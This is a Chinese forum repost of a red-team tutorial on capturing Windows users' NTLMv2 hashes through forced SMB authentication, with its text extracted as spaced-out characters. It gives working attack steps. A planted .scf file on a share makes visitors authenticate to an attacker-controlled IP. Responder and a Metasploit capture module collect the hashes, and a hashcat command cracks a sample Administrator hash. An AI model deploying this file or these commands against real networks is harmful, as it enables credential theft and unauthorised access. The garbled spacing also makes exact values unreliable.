搜索

[22287] 2021-08-25_利用强制smb身份验证获取用户哈希

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-08-25_利用强制smb身份验证获取用户哈希 利 用 强 制 s m b 身 份 验 证 获 取 用 户 哈 希 L e t i c i a ' s   B l o g   L e m o n S e c   2 0 2 1 - 0 8 - 2 5 前 言 前 言 攻 击 者 可 通 过 向 共 享 目 录 投 递 连 接 外 部 服 务 器 的 资 源 文 件 ， 用 户 请 求 过 程 中 尝 试 身 份 验 证 ， 会 默 认 使 用 S M B 协 议 将 用 户 哈 希 发 送 到 服 务 器 ， 这 样 攻 击 者 就 会 获 取 对 方 用 户 账 户 哈 希 。 创 建 共 享 目 录 创 建 共 享 目 录 s c f 文 件 文 件 重 命 名 后 缀 为 . s c f ， 保 存 在 共 享 目 录 使 用 使 用 r e s p o n d e r 接 收 哈 希 接 收 哈 希 使 用 r e s p o n d e r 开 启 监 听 使 用 任 一 用 户 访 问 刚 才 建 立 好 的 共 享 目 录 ， 只 要 进 入 到 保 存 有 . s c f 这 一 文 件 的 层 级 就 会 触 发 s m b 身 份 验 证 ， r e s p o n d e r 会 监 听 到 N T L M v 2 哈 希 [ S h e l l ] C o m m a n d = 2 I c o n F i l e = X . X . X . X s h a r e 1 . i c o [ T a s k b a r ] C o m m a n d = T o g g l e D e s k t o p g i t   c l o n e   h t t p s : / / g i t h u b . c o m / l g a n d x / R e s p o n d e r . g i t p y t h o n   R e s p o n d e r . p y   - w r f   - - l m   - v   - I   e t h 0
使 用 使 用 m s f 模 块 接 收 哈 希 模 块 接 收 哈 希 使 用 使 用 h a s h c a t 配 合 字 典 来 破 解 配 合 字 典 来 破 解 - - - 》 推 荐 公 众 号 ： 推 荐 公 众 号 ：         每 日 分 享 红 蓝 队 技 术 文 章 与 工 具 使 用   下 载 方 式 、 以 及 不 定 期 的 安 全 类 书 籍 抽 奖 ～ u s e   a u x i l i a r y / s e r v e r / c a p t u r e / s m b r u n h a s h c a t   - m   5 6 0 0   A d m i n i s t r a t o r : : N E X T : b 3 6 f f 0 a 8 7 f 2 4 a 5 b 2 : 5 9 D 4 E 0 7 C 5 5 7 1 7 C 4 2 B 1 6 7 E 2 F F 1 7 8 C 0 B 8 3 : 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 5 D 8 3 A E 7 C F E 6 7 D 7 0 1 B 3 3 B 2 5 F 6 2 5 1 3 4 A 1 E 0 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   / r o o t / p a s s . t x t   - - f o r c e 作 者 ： L e t i c i a ' s   B l o g
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理